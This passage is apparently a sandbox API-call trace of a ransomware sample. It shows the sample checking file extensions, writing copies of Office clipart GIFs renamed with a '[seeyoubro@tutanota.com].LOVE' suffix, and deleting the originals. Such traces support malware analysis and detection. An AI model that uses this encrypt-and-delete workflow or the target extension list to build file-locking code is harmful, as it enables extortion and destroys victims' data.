lpString2=".GIF") returned -1 [0206.438] lstrlenW (lpString=".7z") returned 3 [0206.438] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0206.438] lstrlenW (lpString=".dbf") returned 4 [0206.438] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0206.439] lstrlenW (lpString=".1cd") returned 4 [0206.439] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00157_.GIF") returned 68 [0206.439] lstrlenW (lpString=".jpg") returned 4 [0206.439] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.439] lstrcmpiW (lpString1=".GIF", lpString2=".LOVE") returned -1 [0206.439] lstrlenW (lpString="AG00161_.GIF") returned 12 [0206.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0206.446] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=7583) returned 1 [0206.446] CloseHandle (hObject=0x2f0) returned 1 [0206.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif")) returned 0x220 [0206.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0206.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0206.446] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.446] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0206.448] GetLastError () returned 0x0 [0206.448] ReadFile (in: hFile=0x2f0, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x1d9f, lpOverlapped=0x0) returned 1 [0206.484] WriteFile (in: hFile=0x364, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x1da0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x1da0, lpOverlapped=0x0) returned 1 [0206.484] ReadFile (in: hFile=0x2f0, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.485] WriteFile (in: hFile=0x364, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0206.485] SetEndOfFile (hFile=0x364) returned 1 [0206.485] CloseHandle (hObject=0x364) returned 1 [0206.485] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.485] SetEndOfFile (hFile=0x2f0) returned 1 [0206.486] CloseHandle (hObject=0x2f0) returned 1 [0206.486] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0206.486] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif")) returned 1 [0206.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0206.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0206.487] lstrlenW (lpString=".doc") returned 4 [0206.487] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.487] lstrlenW (lpString=".docx") returned 5 [0206.487] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.487] lstrlenW (lpString=".pdf") returned 4 [0206.487] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.487] lstrlenW (lpString=".xls") returned 4 [0206.487] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.487] lstrlenW (lpString=".xlsx") returned 5 [0206.487] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.487] lstrlenW (lpString=".ppt") returned 4 [0206.487] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0206.487] lstrlenW (lpString=".zip") returned 4 [0206.487] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.487] lstrlenW (lpString=".rar") returned 4 [0206.487] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.487] lstrlenW (lpString=".bz2") returned 4 [0206.487] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.487] lstrlenW (lpString=".7z") returned 3 [0206.487] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0206.487] lstrlenW (lpString=".dbf") returned 4 [0206.487] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.487] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0206.487] lstrlenW (lpString=".1cd") returned 4 [0206.487] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0206.488] lstrlenW (lpString=".jpg") returned 4 [0206.488] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0206.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0206.488] lstrlenW (lpString=".doc") returned 4 [0206.488] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.488] lstrlenW (lpString=".docx") returned 5 [0206.488] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.488] lstrlenW (lpString=".pdf") returned 4 [0206.488] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.488] lstrlenW (lpString=".xls") returned 4 [0206.488] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.488] lstrlenW (lpString=".xlsx") returned 5 [0206.488] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.488] lstrlenW (lpString=".ppt") returned 4 [0206.488] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0206.488] lstrlenW (lpString=".zip") returned 4 [0206.488] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.488] lstrlenW (lpString=".rar") returned 4 [0206.488] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.488] lstrlenW (lpString=".bz2") returned 4 [0206.488] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.488] lstrlenW (lpString=".7z") returned 3 [0206.488] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0206.488] lstrlenW (lpString=".dbf") returned 4 [0206.488] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0206.488] lstrlenW (lpString=".1cd") returned 4 [0206.488] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF") returned 68 [0206.488] lstrlenW (lpString=".jpg") returned 4 [0206.488] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.489] lstrcmpiW (lpString1=".GIF", lpString2=".LOVE") returned -1 [0206.489] lstrlenW (lpString="AG00167_.GIF") returned 12 [0206.489] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0206.491] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=4894) returned 1 [0206.491] CloseHandle (hObject=0x354) returned 1 [0206.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif")) returned 0x220 [0206.492] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0206.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0206.492] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.492] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0206.494] GetLastError () returned 0x0 [0206.494] ReadFile (in: hFile=0x354, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x131e, lpOverlapped=0x0) returned 1 [0206.496] WriteFile (in: hFile=0x31c, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x1320, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x1320, lpOverlapped=0x0) returned 1 [0206.497] ReadFile (in: hFile=0x354, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.497] WriteFile (in: hFile=0x31c, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0206.497] SetEndOfFile (hFile=0x31c) returned 1 [0206.511] CloseHandle (hObject=0x31c) returned 1 [0206.515] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.515] SetEndOfFile (hFile=0x354) returned 1 [0206.516] CloseHandle (hObject=0x354) returned 1 [0206.518] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0206.518] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00167_.gif")) returned 1 [0206.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0206.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0206.518] lstrlenW (lpString=".doc") returned 4 [0206.518] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.518] lstrlenW (lpString=".docx") returned 5 [0206.518] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.518] lstrlenW (lpString=".pdf") returned 4 [0206.518] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.518] lstrlenW (lpString=".xls") returned 4 [0206.518] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.519] lstrlenW (lpString=".xlsx") returned 5 [0206.519] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.519] lstrlenW (lpString=".ppt") returned 4 [0206.519] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0206.519] lstrlenW (lpString=".zip") returned 4 [0206.519] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.519] lstrlenW (lpString=".rar") returned 4 [0206.519] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.519] lstrlenW (lpString=".bz2") returned 4 [0206.519] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.519] lstrlenW (lpString=".7z") returned 3 [0206.519] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0206.519] lstrlenW (lpString=".dbf") returned 4 [0206.519] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0206.519] lstrlenW (lpString=".1cd") returned 4 [0206.519] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0206.519] lstrlenW (lpString=".jpg") returned 4 [0206.519] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0206.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0206.519] lstrlenW (lpString=".doc") returned 4 [0206.519] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.519] lstrlenW (lpString=".docx") returned 5 [0206.519] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.519] lstrlenW (lpString=".pdf") returned 4 [0206.519] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.519] lstrlenW (lpString=".xls") returned 4 [0206.519] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.519] lstrlenW (lpString=".xlsx") returned 5 [0206.519] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.519] lstrlenW (lpString=".ppt") returned 4 [0206.519] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0206.520] lstrlenW (lpString=".zip") returned 4 [0206.520] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.520] lstrlenW (lpString=".rar") returned 4 [0206.520] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.520] lstrlenW (lpString=".bz2") returned 4 [0206.520] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.520] lstrlenW (lpString=".7z") returned 3 [0206.520] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0206.520] lstrlenW (lpString=".dbf") returned 4 [0206.520] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0206.520] lstrlenW (lpString=".1cd") returned 4 [0206.520] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.520] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00167_.GIF") returned 68 [0206.520] lstrlenW (lpString=".jpg") returned 4 [0206.520] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.520] lstrcmpiW (lpString1=".GIF", lpString2=".LOVE") returned -1 [0206.520] lstrlenW (lpString="AG00171_.GIF") returned 12 [0206.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0206.520] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=5016) returned 1 [0206.520] CloseHandle (hObject=0x368) returned 1 [0206.526] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif")) returned 0x220 [0206.526] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0206.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0206.526] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.526] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0206.527] GetLastError () returned 0x0 [0206.527] ReadFile (in: hFile=0x368, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x1398, lpOverlapped=0x0) returned 1 [0206.528] WriteFile (in: hFile=0x2f0, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x13a0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x13a0, lpOverlapped=0x0) returned 1 [0206.529] ReadFile (in: hFile=0x368, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.529] WriteFile (in: hFile=0x2f0, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0206.529] SetEndOfFile (hFile=0x2f0) returned 1 [0206.529] CloseHandle (hObject=0x2f0) returned 1 [0206.530] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.530] SetEndOfFile (hFile=0x368) returned 1 [0206.531] CloseHandle (hObject=0x368) returned 1 [0206.531] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0206.531] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif")) returned 1 [0206.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0206.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0206.531] lstrlenW (lpString=".doc") returned 4 [0206.531] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.531] lstrlenW (lpString=".docx") returned 5 [0206.531] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.531] lstrlenW (lpString=".pdf") returned 4 [0206.531] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.531] lstrlenW (lpString=".xls") returned 4 [0206.531] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.531] lstrlenW (lpString=".xlsx") returned 5 [0206.531] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.531] lstrlenW (lpString=".ppt") returned 4 [0206.532] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0206.532] lstrlenW (lpString=".zip") returned 4 [0206.532] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.532] lstrlenW (lpString=".rar") returned 4 [0206.532] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.532] lstrlenW (lpString=".bz2") returned 4 [0206.532] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.532] lstrlenW (lpString=".7z") returned 3 [0206.532] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0206.532] lstrlenW (lpString=".dbf") returned 4 [0206.532] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0206.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0206.532] lstrlenW (lpString=".1cd") returned 4 [0206.532] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0206.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0206.532] lstrlenW (lpString=".jpg") returned 4 [0206.532] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0206.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0206.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0206.532] lstrlenW (lpString=".doc") returned 4 [0206.532] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0206.532] lstrlenW (lpString=".docx") returned 5 [0206.532] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0206.532] lstrlenW (lpString=".pdf") returned 4 [0206.532] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0206.532] lstrlenW (lpString=".xls") returned 4 [0206.532] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0206.532] lstrlenW (lpString=".xlsx") returned 5 [0206.532] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0206.532] lstrlenW (lpString=".ppt") returned 4 [0206.532] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0206.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0206.532] lstrlenW (lpString=".zip") returned 4 [0206.532] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0206.533] lstrlenW (lpString=".rar") returned 4 [0206.533] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0206.533] lstrlenW (lpString=".bz2") returned 4 [0206.533] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0206.533] lstrlenW (lpString=".7z") returned 3 [0206.533] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0206.533] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68 [0206.533] lstrlenW (lpString=".dbf") returned 4 [0206.533] 